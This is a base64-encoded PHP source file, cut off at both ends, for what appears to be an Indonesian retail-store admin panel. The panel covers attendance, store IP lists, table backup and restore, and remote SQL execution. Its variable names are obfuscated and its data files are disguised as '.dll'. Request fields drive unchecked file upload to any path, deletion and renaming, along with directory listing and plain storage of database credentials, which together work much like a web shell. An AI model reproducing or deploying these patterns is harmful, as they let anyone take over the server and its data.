G5hbWU9J3RnbG1zaycgdGl0bGU9J1VwZGF0ZSc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBteC1zbS0yIG1iLTInPiA8aW5wdXQgdHlwZT0nZGF0ZScgY2xhc3M9J2Zvcm0tY29udHJvbCcgbmFtZT0nd21zaycgdGl0bGU9J1doZXJlJz48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIG14LXNtLTIgbWItMic+IDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sJyB0aXRsZT0nV2hlcmUnIG5hbWU9J25paycgcGxhY2Vob2xkZXI9J05JSyc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBteC1zbS0yIG1iLTInPiA8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgbmFtZT0na2R0aycgdGl0bGU9J1doZXJlJyBwbGFjZWhvbGRlcj0nS0RUSyc+PC9kaXY+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J21hc3VrLW90cicvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tcHJpbWFyeSBtYi0yJz5NYXN1azwvYnV0dG9uPjwvZm9ybT4NCiA8aHI+PGZvcm0gY2xhc3M9J2Zvcm0taW5saW5lJz48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIG1iLTInPiA8bGFiZWw+UHVsYW5nPC9sYWJlbD48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIG14LXNtLTIgbWItMic+IDxpbnB1dCB0eXBlPSdkYXRlJyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSd0YW5nZ2FsX3B1bGFuZ19vbGQnIHRpdGxlPSdUYW5nZ2FsIFB1bGFuZyBPbGQnPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgbXgtc20tMiBtYi0yJz4gPGlucHV0IHR5cGU9J2RhdGUnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J3RhbmdnYWxfcHVsYW5nX25ldycgdGl0bGU9J1RhbmdnYWwgUHVsYW5nIE5ldyc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBteC1zbS0yIG1iLTInPiA8aW5wdXQgdHlwZT0ndGltZScgY2xhc3M9J2Zvcm0tY29udHJvbCcgbmFtZT0namFtX3B1bGFuZ19uZXcnIHRpdGxlPSdKYW0gUHVsYW5nIE5ldyc+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1ncm91cCBteC1zbS0yIG1iLTInPiA8aW5wdXQgdHlwZT0nbnVtYmVyJyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSduaWsnIHBsYWNlaG9sZGVyPSdOSUsnPjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgbXgtc20tMiBtYi0yJz4gPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J2tkdGsnIHBsYWNlaG9sZGVyPSdLRFRLJz48L2Rpdj4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0ncHVsYW5nLW90cicvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tcHJpbWFyeSBtYi0yJz5QdWxhbmc8L2J1dHRvbj48L2Zvcm0+DQogIjsNCiAgICAgICAgLyoNCiAgICAgICAgSVAtQUREUkVTUw0KICAgICAgICAqLw0KICAgIH0gZWxzZSBpZiAoJF9HRVRbJ3AnXSA9PSBoYXNoKCJzaGExIiwgImlwLWFkZHJlc3MiKSkgew0KICAgICAgICAkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCA9IGZvcGVuKCJmcm1yZWthcGlwLmRsbCIsICJyYiIpOw0KICAgICAgICBlY2hvICI8dGFibGUgaWQ9J2lwLWFkZHJlc3MnIGNsYXNzPSd0YWJsZSB0YWJsZS1zbSBzbWFsbCB0YWJsZS1zdHJpcGVkIHRhYmxlLWJvcmRlcmVkJyB3aWR0aD0nMTAwJSc+DQogPHRoZWFkPjx0aD5Lb2RlIFRva288L3RoPjx0aD5OYW1hIFRva288L3RoPjx0aD5JUCBBZGRyZXNzPC90aD48dGg+RGV2aWNlPC90aD48dGg+Q2xhc3M8L3RoPjwvdGhlYWQ+PHRib2R5PiI7DQogICAgICAgIHdoaWxlICghZmVvZigkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCkpIHsNCiAgICAgICAgICAgICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHAgPSBmZ2V0cygkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCk7DQogICAgICAgICAgICAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OID0gZXhwbG9kZSgnLCcsICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHApOw0KICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlswXSAuICI8L3RkPjx0ZD4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlsxXSAuICI8L3RkPjx0ZD4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlsyXSAuICI8L3RkPjx0ZD4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlszXSAuICI8L3RkPjx0ZD4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTls0XSAuICI8L3RkPjwvdHI+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3Rib2R5PjwvdGFibGU+IjsNCiAgICAgICAgZmNsb3NlKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KTsNCiAgICAgICAgLyoNCiAgICAgICAgQkFDS1VQIFRBQkxFDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAiVUo1cThUUiIpKSB7DQogICAgICAgIGVjaG8gIg0KIDxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPScnPiI7DQogICAgICAgICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0ID0gZm9wZW4oImN0a3Jla2FwYWJzZW4uZGxsIiwgInJiIik7DQogICAgICAgIGVjaG8gIjxkaXYgY2xhc3M9J2Zvcm0tcm93Jz48ZGl2IGNsYXNzPSdjb2wtbWQtMTIgbWItMyc+DQogPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHBsYWNlaG9sZGVyPSdUYWJsZS4uLicgbmFtZT0nbGlzdF90YWJsZSc+IjsNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xpc3RfdGFibGUnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydsaXN0X3RhYmxlJ107DQogICAgICAgIH0gZWxzZSBlY2hvICJ0b2tvX2t1bmp1bmdhbiB0b2tvX2NoZWNrbGlzdCB0b2tvX3VuaXQgcGFzc3Rva28gc3BlY19oYXJkd2FyZSBjaGVja2xpc3Rfc2V0dGluZyBjaGVja2xpc3QiOw0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tcm93Jz48ZGl2IGNsYXNzPSdjb2wtbWQtMTIgbWItMyc+DQogPHNlbGVjdCBjbGFzcz0nc2VsZWN0LTIgZm9ybS1jb250cm9sIG1iLTIgbXItc20tMicgbmFtZT0naXAnPiI7DQogICAgICAgIHdoaWxlICghZmVvZigkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCkpIHsNCiAgICAgICAgICAgICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHAgPSBmZ2V0cygkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCk7DQogICAgICAgICAgICAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OID0gZXhwbG9kZSgnLCcsICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHApOw0KICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIiAuICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU5bMl0gLiAiJz4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlswXSAuICIgLSAiIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlsxXSAuICI8L29wdGlvbj4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvc2VsZWN0PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0taW5saW5lJz4iOw0KICAgICAgICBmY2xvc2UoJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcl90eHQpOw0KICAgICAgICBlY2hvICINCiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdVSjVxOFRSJy8+DQogPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4tcXVlcnktdG9rbyBidG4gYnRuLWxpZ2h0IG1iLTInPkJhY2t1cCBUYWJsZTwvYnV0dG9uPjwvZGl2PiANCiA8bGFiZWw+KikgRHVyYXNpIE1BS1NJTUFMIGJhY2t1cCB0YWJsZSBhZGFsYWggPHNwYW4gY2xhc3M9J3dha3R1X3R1bmdndSc+MDwvc3Bhbj4gLyAyNTAgZGV0aWsodGVyZ2FudHVuZyBrZWNlcGF0YW4ga29uZWtzaSB0b2tvKS4gSGFyYXAgZGl0dW5nZ3UgZGFuIGphbmdhbiBkaWNsb3NlIHNhbXBhaSBsb2FkaW5nIHNlbGVzYWkuPC9sYWJlbD4NCiA8L2Zvcm0+IjsNCiAgICAgICAgLyoNCiAgICAgICAgUkVTVE9SRSBUQUJMRQ0KICAgICAgICAqLw0KICAgIH0gZWxzZSBpZiAoJF9HRVRbJ3AnXSA9PSBoYXNoKCJzaGExIiwgInJlc3RvcmUtdGFibGUiKSkgew0KICAgICAgICBlY2hvICINCiA8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCiA8ZGl2IGNsYXNzPSdmb3JtLXJvdyc+PGRpdiBjbGFzcz0nY29sLW1kLTEyIG1iLTMnPiI7DQogICAgICAgICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0ID0gZm9wZW4oImN0a3Jla2FwYWJzZW4uZGxsIiwgInJiIik7DQogICAgICAgIGVjaG8gIjxzZWxlY3QgY2xhc3M9J3NlbGVjdC0yIGZvcm0tY29udHJvbCBtYi0yIG1yLXNtLTInIG5hbWU9J2lwJz4NCiA8b3B0aW9uPktvZGUgVG9rbzwvb3B0aW9uPiI7DQogICAgICAgIHdoaWxlICghZmVvZigkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCkpIHsNCiAgICAgICAgICAgICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHAgPSBmZ2V0cygkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCk7DQogICAgICAgICAgICAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OID0gZXhwbG9kZSgnLCcsICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHApOw0KICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIiAuICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU5bMl0gLiAiJz4iIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlswXSAuICIgLSAiIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlsxXSAuICI8L29wdGlvbj4iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvc2VsZWN0PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tcm93Jz48ZGl2IGNsYXNzPSdjb2wtbWQtMTIgbWItMyc+IjsNCiAgICAgICAgZmNsb3NlKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KTsNCiAgICAgICAgZWNobyAiDQogPGlucHV0IHR5cGU9J2ZpbGUnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSdkYicgYWNjZXB0PScuc3FsJz4NCiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdyZXN0b3JlLXRhYmxlJy8+DQogPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4tcXVlcnktdG9rbyBidG4gYnRuLWxpZ2h0IG1iLTInPlJlc3RvcmUgVGFibGU8L2J1dHRvbj48L2Rpdj4gDQogPGxhYmVsPiopIER1cmFzaSBNQUtTSU1BTCByZXN0b3JlIHRhYmxlIGFkYWxhaCA8c3BhbiBjbGFzcz0nd2FrdHVfdHVuZ2d1Jz4wPC9zcGFuPiAvIDI1MCBkZXRpayh0ZXJnYW50dW5nIGtlY2VwYXRhbiBrb25la3NpIHRva28pLiBIYXJhcCBkaXR1bmdndSBkYW4gamFuZ2FuIGRpY2xvc2Ugc2FtcGFpIGxvYWRpbmcgc2VsZXNhaS48L2xhYmVsPg0KIDwvZm9ybT4iOw0KICAgICAgICAvKg0KICAgICAgICBJTlANCiAgICAgICAgKi8NCiAgICB9IGVsc2UgaWYgKCRfR0VUWydwJ10gPT0gaGFzaCgic2hhMSIsICJxdWVyeS1icm93c2VyIikpIHsNCiAgICAgICAgZWNobyAiDQogPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jyc+DQogPGRpdiBjbGFzcz0nZm9ybS1yb3cnPg0KIDxkaXYgY2xhc3M9J2NvbC1tZC0xMiBtYi0zJz4NCiA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcGxhY2Vob2xkZXI9J1F1ZXJ5Li4uJyBuYW1lPSdxdWVyeSc+IjsNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3F1ZXJ5J10pKSB7DQogICAgICAgICAgICBlY2hvIHN0cmlwc2xhc2hlcygkX1BPU1RbJ3F1ZXJ5J10pOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1yb3cnPjxkaXYgY2xhc3M9J2NvbC1tZC0xMiBtYi0zJz4NCiA8c2VsZWN0IGNsYXNzPSdzZWxlY3QtMiBmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSdpcCc+DQogPG9wdGlvbiB2YWx1ZT0nJz5Lb2RlIFRva288L29wdGlvbj4iOw0KICAgICAgICAkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCA9IGZvcGVuKCJjdGtyZWthcGFic2VuLmRsbCIsICJyYiIpOw0KICAgICAgICB3aGlsZSAoIWZlb2YoJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcl90eHQpKSB7DQogICAgICAgICAgICAkYUNSV2pzZXZLS2ZlWTRiNVdhR3pTNnJBUWN2UEU1SExwID0gZmdldHMoJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcl90eHQpOw0KICAgICAgICAgICAgJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTiA9IGV4cGxvZGUoJywnLCAkYUNSV2pzZXZLS2ZlWTRiNVdhR3pTNnJBUWN2UEU1SExwKTsNCiAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzJdIC4gIic+IiAuICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU5bMF0gLiAiIC0gIiAuICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU5bMV0gLiAiPC9vcHRpb24+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3NlbGVjdD48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdmb3JtLWlubGluZSc+IjsNCiAgICAgICAgZmNsb3NlKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KTsNCiAgICAgICAgZWNobyAiDQogPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyBuYW1lPSdpcDEnIHJlYWRvbmx5IHZhbHVlPSciOw0KICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnaXAnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydpcCddOw0KICAgICAgICB9IGVsc2UgaWYgKCFlbXB0eSgkX1BPU1RbJ2lwMSddKSkgew0KICAgICAgICAgICAgZWNobyAkX1BPU1RbJ2lwMSddOw0KICAgICAgICB9Ow0KICAgICAgICBlY2hvICInLz4iOw0KICAgICAgICBlY2hvICINCiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzdWJtaXQnIHZhbHVlPSdleGVjdXRlJy8+DQogPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4tcXVlcnktdG9rbyBidG4gYnRuLWxpZ2h0IG1iLTInPkV4ZWN1dGU8L2J1dHRvbj48L2Rpdj4NCiA8bGFiZWw+KikgRHVyYXNpIG1ha3NpbWFsIGVrc2VrdXNpIHF1ZXJ5IGFkYWxhaCA8c3BhbiBjbGFzcz0nd2FrdHVfdHVuZ2d1Jz4wPC9zcGFuPiAvIDI1MCBkZXRpayh0ZXJnYW50dW5nIGtlY2VwYXRhbiBrb25la3NpIHRva28pLiBIYXJhcCBkaXR1bmdndSBkYW4gamFuZ2FuIGRpY2xvc2Ugc2FtcGFpIGxvYWRpbmcgc2VsZXNhaS48L2xhYmVsPg0KIDwvZm9ybT4iOw0KICAgICAgICAvKg0KICAgICAgICBRVUVSWSBCUk9XU0VSDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX0dFVFsncCddID09IGhhc2goInNoYTEiLCAicXVlcnktYnJvd3Nlci1zb3BwIikpIHsNCiAgICAgICAgZWNobyAiDQogPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jyc+DQogPGRpdiBjbGFzcz0nZm9ybS1yb3cnPg0KIDxkaXYgY2xhc3M9J2NvbC1tZC0xMiBtYi0zJz4NCiA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcGxhY2Vob2xkZXI9J1F1ZXJ5IHNvcHBhZ2VudC4uLicgbmFtZT0ncXVlcnknPiI7DQogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydxdWVyeSddKSkgew0KICAgICAgICAgICAgZWNobyBzdHJpcHNsYXNoZXMoJF9QT1NUWydxdWVyeSddKTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2Zvcm0tcm93Jz48ZGl2IGNsYXNzPSdjb2wtbWQtMTIgbWItMyc+DQogPHNlbGVjdCBjbGFzcz0nc2VsZWN0LTIgZm9ybS1jb250cm9sIG1iLTIgbXItc20tMicgbmFtZT0naXAnPg0KIDxvcHRpb24gdmFsdWU9Jyc+S29kZSBUb2tvPC9vcHRpb24+IjsNCiAgICAgICAgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcl90eHQgPSBmb3BlbigiY3RrcmVrYXBhYnNlbi5kbGwiLCAicmIiKTsNCiAgICAgICAgd2hpbGUgKCFmZW9mKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KSkgew0KICAgICAgICAgICAgJGFDUldqc2V2S0tmZVk0YjVXYUd6UzZyQVFjdlBFNUhMcCA9IGZnZXRzKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXJfdHh0KTsNCiAgICAgICAgICAgICRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU4gPSBleHBsb2RlKCcsJywgJGFDUldqc2V2S0tmZVk0YjVXYUd6UzZyQVFjdlBFNUhMcCk7DQogICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciIC4gJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlsyXSAuICInPiIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzBdIC4gIiAtICIgLiAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzFdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZm9ybS1pbmxpbmUnPiI7DQogICAgICAgIGZjbG9zZSgkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yX3R4dCk7DQogICAgICAgIGVjaG8gIg0KIDxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTIgbXItc20tMicgbmFtZT0naXAxJyByZWFkb25seSB2YWx1ZT0nIjsNCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pKSB7DQogICAgICAgICAgICBlY2hvICRfUE9TVFsnaXAnXTsNCiAgICAgICAgfSBlbHNlIGlmICghZW1wdHkoJF9QT1NUWydpcDEnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydpcDEnXTsNCiAgICAgICAgfTsNCiAgICAgICAgZWNobyAiJy8+IjsNCiAgICAgICAgZWNobyAiDQogPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3VibWl0JyB2YWx1ZT0nZXhlY3V0ZS1zb3BwJy8+DQogPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4tcXVlcnktdG9rbyBidG4gYnRuLWxpZ2h0IG1iLTInPkV4ZWN1dGUgU29wcDwvYnV0dG9uPjwvZGl2Pg0KIDxsYWJlbD4qKSBEdXJhc2kgbWFrc2ltYWwgZWtzZWt1c2kgcXVlcnkgYWRhbGFoIDxzcGFuIGNsYXNzPSd3YWt0dV90dW5nZ3UnPjA8L3NwYW4+IC8gMjUwIGRldGlrKHRlcmdhbnR1bmcga2VjZXBhdGFuIGtvbmVrc2kgdG9rbykuIEhhcmFwIGRpdHVuZ2d1IGRhbiBqYW5nYW4gZGljbG9zZSBzYW1wYWkgbG9hZGluZyBzZWxlc2FpLjwvbGFiZWw+DQogPC9mb3JtPiI7DQogICAgICAgIC8qDQogICAgICAgIEJBQ0tVUCBUQUJMRQ0KICAgICAgICAqLw0KICAgIH0gZWxzZSBpZiAoJF9HRVRbJ3AnXSA9PSBoYXNoKCJzaGExIiwgImxvZ291dCIpKSB7DQogICAgICAgIHNlc3Npb25fZGVzdHJveSgpOw0KICAgICAgICBlY2hvICI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOw0KdXJsPSIgLiAkUmt1M2hCa3JxTFpUV1NHZXBDVEVBbWZaSFAyY3pRekp0IC4gIic+IjsNCiAgICB9DQogICAgZWNobyAiPGhyPiI7DQogICAgLy9VUExPQUQgRklMRQ0KICAgIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICd1cGxvYWQtZmlsZScpIHsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVfdXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRfUE9TVFsnZmlsZV9kaXInXSAuICRfRklMRVNbJ2ZpbGVfdXBsb2FkJ11bJ25hbWUnXSk7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9JyIgLiAkX1BPU1RbJ2ZpbGVfZGlyJ10gLiAkX0ZJTEVTWydmaWxlX3VwbG9hZCddWyduYW1lJ10gLiAiJz4iIC4gJF9GSUxFU1snZmlsZV91cGxvYWQnXVsnbmFtZSddIC4gIjwvYT4iOw0KICAgICAgICAvL1VQTE9BRCBGb2xkZXINCiAgICAgICAgDQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICd1cGxvYWQtZm9sZGVyJykgew0KICAgICAgICAkZm9sZGVybmFtZSA9ICRfUE9TVFsnZm9sZGVybmFtZSddOw0KICAgICAgICBpZiAoIWlzX2RpcigkZm9sZGVybmFtZSkpIG1rZGlyKCRmb2xkZXJuYW1lKTsNCiAgICAgICAgZm9yZWFjaCAoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddIGFzICRpID0+ICRuYW1lKSB7DQogICAgICAgICAgICBpZiAoc3RybGVuKCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV0pID4gMSkgew0KICAgICAgICAgICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddWyRpXSwgJGZvbGRlcm5hbWUgLiAiLyIgLiAkbmFtZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgLy9SRU5BTUUgRklMRQ0KICAgICAgICANCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnc3VibWl0J10gPT0gJ3JlbmFtZS1maWxlJykgew0KICAgICAgICByZW5hbWUoImltYWdlcyIsICJwaWN0dXJlcyIpOw0KICAgICAgICByZW5hbWUoJF9QT1NUWydmaWxlX2xhbWEnXSwgJF9QT1NUWydmaWxlX2JhcnUnXSk7DQogICAgICAgIC8vREVMRVRFLUZJTEUNCiAgICAgICAgDQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICdkZWxldGUtZmlsZScpIHsNCiAgICAgICAgdW5saW5rKCRfUE9TVFsnZmlsZV9uYW1lJ10pOw0KICAgICAgICAvL0xJU1QgRklMRQ0KICAgICAgICANCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnc3VibWl0J10gPT0gJ2xpc3QnKSB7DQogICAgICAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkX1BPU1RbJ3BhdGhfbGlzdCddKSkgew0KICAgICAgICAgICAgJHVyaVNlZ21lbnRzID0gZXhwbG9kZSgiLyIsIHBhcnNlX3VybCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgUEhQX1VSTF9QQVRIKSk7DQogICAgICAgICAgICBlY2hvICINCiA8dGFibGUgY2xhc3M9J3RibC02Y0VCTkFmIHRhYmxlIHRhYmxlLXN0cmlwZWQgdGFibGUtYm9yZGVyZWQgdGFibGUtc20gc21hbGwnIHdpZHRoPScxMDAlJz4NCiA8dGhlYWQ+DQogPHRoPkZpbGUgTmFtZTwvdGg+DQogPC90aGVhZD48dGJvZHk+IjsNCiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQogICAgICAgICAgICAgICAgaWYgKCRlbnRyeSAhPSAiLiIgJiYgJGVudHJ5ICE9ICIuLiIpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiDQogPHRyPg0KIDx0ZD48YSBocmVmPSdodHRwOi8vIiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIvIiAuICRfUE9TVFsncGF0aF9saXN0J10gLiAiLyIgLiAkZW50cnkgLiAiJz4iIC4gJGVudHJ5IC4gIjwvYT48L3RkPg0KIDwvdHI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3Rib2R5PjwvdGFibGU+IjsNCiAgICAgICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgICAgICB9DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICd1cGRhdGUtY29uZmlnLWRiJykgew0KICAgICAgICAkZmlsZSA9IGZvcGVuKCJmcm1pbnB1dGthdGVnb3JpLmRsbCIsICJ3Iik7DQogICAgICAgICRkYXRhX2NvbmZpZyA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydwYXNzLXRva28nXSkgLiAiLCIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsndXNlci10b2tvJ10pIC4gIiwiIC4gJF9QT1NUWydzZXJ2ZXItb3RyJ10gLiAiLCIgLiAkX1BPU1RbJ3VzZXItb3RyJ10gLiAiLCIgLiAkX1BPU1RbJ3Bhc3Mtb3RyJ10gLiAiLCIgLiAkX1BPU1RbJ2RiLW90